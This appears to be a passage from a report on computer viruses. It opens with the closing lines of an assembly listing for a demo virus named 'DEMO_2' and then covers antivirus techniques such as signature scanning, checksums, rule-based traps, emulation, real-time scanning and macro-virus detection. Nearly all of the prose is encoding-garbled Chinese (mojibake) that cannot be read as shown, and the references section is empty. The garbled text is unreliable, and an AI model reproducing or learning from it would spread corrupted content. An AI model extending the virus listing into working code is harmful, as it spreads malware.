JMP_BYTE        DB      0E9h,?,?        ; 0E9h,?,? = JMP XXXX
MSG             DB      'This is [DEMO_2] virus'

VIR_SIZE        EQU     $-OFFSET VIR_START

DEMO_2         ENDS
                END     START



4.0 ¯f¬rªº¨¾ªv¤u§@

4.1 ¹w¨¾¯f¬r·P¬V
½Í¨ì¯f¬r¡MµL¥iÁקK¦a¡M¤]­n°Q½×¦p¦ó¹w¨¾¹q¸£¯f¬rªº·P¬V¡C¹w¨¾ªº¤u§@°µ±o¦n¡M¤]¦³§U©ó°»¬d¤¤¬r­ì¦]¡M¸U¤@¤¤¬r¡M¤~¤ñ¸û®e©ö¬d¥X¨Ó·½¡M¨Ã¥B¹ï¯g¤UÃÄ¡C¥H¤U¬°¸Óª`·Nªº¨Æ¶µ¡J
4.2 ¨¾ªv¯f¬rªº§Þ³N
A. ¯f¬r½X±½´yªk
±N·sµo²{ªº¯f¬r¥[¥H¤ÀªR«á¡M®Ú¾Ú¨ä¯S¼x¡M½s¦¨¯f¬r½X¡M¥[¤J¸ê®Æ®w¤¤¡C¥H«á¨C·í°õ¦æ±½¬rµ{¦¡®É¡M«K¯à¥ß¨è±½´yµ{¦¡ÀɮסM¨Ã§@¯f¬r½X¤ñ¹ï¡M§Y¯à°»´ú¨ì¬O§_¦³¯f¬r¡C
±½´yªk¤S§Ö¤S¦³®Ä²v¡M¬O¤j¦h¼Æ¨¾¬r³nÅé±Ä¥Îªº¤è¦¡¡M¦ý¨ä¯ÊÂI¬OµLªk°»´ú¨ì¥¼ª¾ªº·s¯f¬r¤Î¥HÅܺدf¬r¡C
B. Check-sum
®Ú¾Ú¨C­Óµ{¦¡ªºÀɮצWºÙ¡B¤j¤p¡B®É¶¡¡B¤é´Á¤Î¤º®e¡M¥[Á`¬°¤@­ÓÀˬd½X¡M¦A±NÀˬd½Xªþ©óµ{¦¡ªº«á­±¡M©Î¬O±N©Ò¦³Àˬd½X©ñ¦b¦P¤@­Ó¸ê®Æ®w¤¤¡M¦A§Q¥Î¦¹Check-sum¨t²Î¡M°lÂܨðO¿ý¨C­Óµ{¦¡ªºÀˬd½X¬O§_¾D§ó§ï¡M¥H§PÂ_¬O§_¤¤¬r¡C³oºØ§Þ³N¥i°»´ú¨ì¦U¦¡ªº¯f¬r¡M¦ý³Ì¤jªº¯ÊÂI´N¬O»~§PÂ_°ª¡M¥BµLªk½T»{¬O­þºØ¯f¬r·P¬Vªº¡C¹ï©óÁô§Î­¸¾÷«¬¯f¬r¡A¥çµLªk°»´ú¨ì¡C
C. ¤H¤u´¼¼z³´¨À(Rule-based)
¤H¤u´¼¼z³´¨À¬O¤@ºØºÊ´ú¹q¸£¦æ¬°ªº±`¾n¦¡±½´y§Þ³N¡C¥¦±N©Ò¦³¯f¬r©Ò²£¥Íªº¦æ¬°Âk¯Ç°_¨Ó¡M¤@¥¹µo²{°O¾ÐÅ骺µ{¦¡¦³¥ô¦ó¤£·íªº¦æ¬°¡M¨t²Î´N·|¦³©Òĵı¡M¨Ã§iª¾¨Ï¥ÎªÌ¡C
³oºØ§Þ³NªºÀuÂI¬O°õ¦æ³t«×§Ö¡B¤âÄò²«K¡M¥B¥i¥H°»´ú¨ì¦U¦¡¯f¬r¡F¨ä¯ÊÂI´N¬Oµ{¦¡³]­pÃø¡M¥B¤£®e©ö¦Ò¼{¶g¥þ¡C¤£¹L¦b³o¤dÅܸU¤Æªº¯f¬r¥@¬É¤¤¡MRule-based±½´y§Þ³N¬O¤@­Ó¦Ü¤Ö¨ã¦³«O¥þ¥\¯àªº·sÆ[ÂI¡C
D. MultiClean
MultiClean§Þ³N±Mªù¥Î¨Ó¹ï¥IÅÜÅé¯f¬r(Polymorphic /Mutation Virus)¡CÅÜÅé¯f¬r¦b¨C¦¸¶Ç¬V®É¡M³£¥H¤£¦PªºÀH¾÷¶Ã¼Æ¥[±K©ó¨C­Ó¤¤¬rªºÀɮפ¤¡M¶Ç²Î¯f¬r½X¤ñ¹ïªº¤è¦¡®Ú¥»´NµLªk§ä¨ì³oºØ¯f¬r¡CMultiClean§Þ³N«h¬O¦¨¥\¦a¼ÒÀÀCPU°õ¦æ¡M¦b¨ä³]­pªºDOSµêÀÀ¾÷¾¹(Virtual Machine)¤U°²°õ¦æ¯f¬rªºÅÜÅé¤ÞÀº¸Ñ½Xµ{¦¡¡M¦w¥þ¨Ã½T¹ê¦a±N¦h«¬Åé¯f¬r¸Ñ¶}¡M¨Ï¨äÅãÅS­ì¥»ªº­±¥Ø¡M¦A±N¤§²M°£¡C ³o¬O¥Ø«e°ß¤@¥i¥H¦¨¥\¦a®Ú°£Åܺدf¬rªº§Þ³N¡C
E. VICE(Virus Instruction Code Emulation) - ¥ýª¾±½´yªk
VICE¥ýª¾±½´y§Þ³N¬OÄ~MultiClean«áªº¤@¤j§Þ³N¤W¬ð¯}¡C¬JµMMultiClean¥i¥H«Ø¥ß¤@­Ó«OÅ@¼Ò¦¡¤UªºDOSµêÀÀ¾÷¾¹¡M¼ÒÀÀCPU°Ê§@¨Ã°²°õ¦æµ{¦¡¥H¸Ñ¶}ÅÜÅé¤ÞÀº¯f¬r¡M¨º»òÀ³¥ÎÃþ¦üªº§Þ³N¤]¥i¥H¥Î¨Ó¤ÀªR¤@¯ëµ{¦¡Àˬd¥iºÃªº¯f¬r½X¡C¦]¦¹VICE±N¤uµ{®v¥Î¨Ó§PÂ_µ{¦¡¬O§_¦³¯f¬r½X¦s¦bªº¤èªk¡M¤ÀªRÂk¯Ç¦¨±M®a¨t²Îª¾ÃÑ®w¡M¦A§Q¥Î³nÅé¤uµ{ªº¼ÒÀÀ§Þ³N(Software Emulation)°²°õ¦æ·sªº¯f¬r¡M«h¥i¤ÀªR¥X·s¯f¬r½X¹ï¥I¥H«áªº¯f¬r¡C
©Ò¥H¡M¤@¥¹VICE§Þ³N¹B¥Î¦b¤@­Ó¸û½ÆÂøªºµ{¦¡®É¡M¦b°»¬r¤u§@¤W©Ò¯Ó¶Oªº®É¶¡´N·|Åܱo«Üªø¡C¦]¦¹¡M³q±`VICE¤£·|¦¨¬°¤@­Ó¨¾¬r³nÅ骺°ß¤@§Þ³N¡M¦Ó·|°w¹ï²{¦¨ªº¨¾¬r§Þ³N§@¸É±jªº°Ê§@¡C
F. §Y®ÉªºI/O±½´y(Realtime I/O Scan)
Realtime I/O Scanªº¥Øªº¦b©ó§Y®É¦a¹ï¸ê®Æªº¿é¤J/¿é¥X°Ê§@°µ¯f¬r½X¤ñ¹ïªº°Ê§@¡M§Æ±æ¯à°÷¦b¯f¬r©|¥¼³Q°õ¦æ¤§«e¡M´N¯à°÷¨¾°ô¤U¨Ó¡C²z½×¤W¡M³o¼Ëªº§Y®É±½´yµ{¦¡ÁöµM·|¼vÅT¨ì¾ãÅ骺¸ê®Æ¶Ç¿é³t²v¡M¦ý¬O¨Ï¥ÎRealtime I/O scan¡MÀɮ׶ǰe¶i¨Ó¤§«á¡M´Nµ¥©ó±½¹L¤F¤@¦¸¬r¡M¾ãÅé¨Ó»¡¡M¬O¨S¦³¤°»ò®t§Oªº¡C
G. ¤å¥ó¥¨¶°¯f¬r³´¨À(Macrotrap)
¤å¥ó¥¨¶°¯f¬r³´¨À¬Oµ²¦X¤F¯f¬r½X¤ñ¹ï»P¤H¤u´¼¼z³´¨Àªº§Þ³N¡M¨Ì¯f¬r¦æ¬°¼Ò¦¡(Rule base) ¨Ó°»´ú¤wª¾¤Î¥¼ª¾ªº¥¨¶°¯f¬r¡C ¨ä¤¤¡M°t¦XOLE2§Þ³N¡M¥i±N¥¨¶°»P¤å¥ó¤À¶}¡M¨Ï±o±½´y³t«×Åܱo¸û§Ö¡M¦Ó¥B§ó¦³®Ä¦a±N¥¨¶°¯f¬r²M°£¡C¥¨¶°¯f¬r¨¾ªv§Þ³N¥i¦b§Y®É°»´ú¥X¨Ï¥ÎªÌ©Ò¶}±Òªº¤å¥ó¬O§_¦³¯f¬r¦s¦b¡M¦P®É¨Ì¸Ó¤å¥óªºªþÀɦW¿ë§O¨ÃÁÙ­ì¤å¥óÀɤ§­ì©l®æ¦¡¡C

5.0 µ²½×»P·P¨¥

¦]¬°¹q¸£§Þ³Nªº¤é·s¤ë²§¡M¹q¸£¯f¬rªººØÃþ¥H¤Î·P¬V³~®|¤]ÀH¤§§ó¥[¦h¤¸¡M¥H«e¥i¯à¥H¬°¥u­n¬O¤å¦rÀÉ´N¤£·|¦³¤¤¬rªº¥i¯à¡M¦ý¬OÀHµÛ¥¨¶°ªºÀ³¥Î¡M´N³s¤@¯ë¹q¸£¨Ï¥ÎªÌ±`¥Îªº¤å¦r³B²z³nÅé©Î¬O¸Õºâªí³nÅé¤]¦³³y¦¨¯f¬r·P¬Vªº¥i¯à¡C¦A¥[¤Wºô¸ôªº¼sªxÀ³¥Î¡MÀɮתº¬y³q§ó¥[ÀWÁc¡M°£¤F¶Ç²Îªº¯f¬r¤§¥~¡M²{¦b§ó¥X²{¤FÂǵÛJava Applet©ÎActiveXªºµ{¦¡¨Ó¶Ç¼½ªº·s«¬¹q¸£¯f¬r¡M¨Ï±o¹q¸£¨Ï¥ÎªÌ¨¾¤£³Ó¨¾¡C¦]¦¹¡M¨¾¬rªºÆ[©À¤]¬O²{¥N¹q¸£±Úªº¥²³Æª¾ÃÑ¡M¨Ã¥BÀH®Éª`·N³Ì·sªº¨¾¬r¸ê°T¡M¤~¯à«O»Ù¹q¸£ªº¦w¥þ©Ê¡C
³o¥÷³ø§iªº¥Øªº¬O·QÂǵۤF¸Ñ¯f¬r¡M§U©óÀò±o§óÂ×´Iªº¹q¸£ª¾ÃÑ¡M¨Ã¥B»P©Ò¾Ç¯à¦³©Ò¬Û¤¬«´¦X¤§³B¡C°£¤F¯f¬rªº¹B§@¤è¦¡¥O§Ú·P¨ì¦n©_¤§¥~¡M¤]¤Q¤À§Æ±æ¤F¸Ñ¼¶¼g¯f¬rµ{¦¡ªÌªº¤ßºA¡M¹ï¤@­Óµ{¦¡³]­pªÌ¦Ó¨¥¡Mµ{¦¡ªº§¹¦¨¤w¸g¬O¤@ºØ¦¨´N·P¡M¦]¦¹¥i¥H·Q¨£¨º¨Ç¥D°Ê´²¼½¯f¬rªº³]­pªÌ¦³§ó¤jªº³¥¤ß¡C©Î³\¥L­Ì¬O¬°¤FÃÒ©ú¦Û¤v¦bµ{¦¡³]­p¤Wªº¹ê¤O¡M¦ý«o©¿²¤¤F¤HÃþ¦b¸ê°Tµo¹Fªº¤µ¤Ñ¡M¹B¥Î¬ì§Þªº·N¸q¡C
°£¦¹¤§¥~¡M¤F¸Ñ¹q¸£¯f¬rªº¤u§@¡M¤]¿s¨£¨¾¬r¤u§@ªº¦h¼Ë¤Æ¡M¦b§Þ³N¤W¤]¦³ªø¨¬ªº¶i¨B¡M¤×¨ä¦b¯f¬r³]­pªÌµS¤£ªÖ½}¤â¤§»Ú¡M¨¾¬r¤u¨ãªº¬ãµo¬O­È±o§ë¸êªº¬ã¨s¤u§@¡C§Æ±æ¤j®a³£¯à°÷­«µø¸ê°T¦w¥þªº°ÝÃD¡MÅý¬ì§Þ±a»â§Ú­Ì¨ì¤@­Ó§ó¬ü¦nªº¥@¬É¡C

6.0 °Ñ¦Ò¸ê®Æ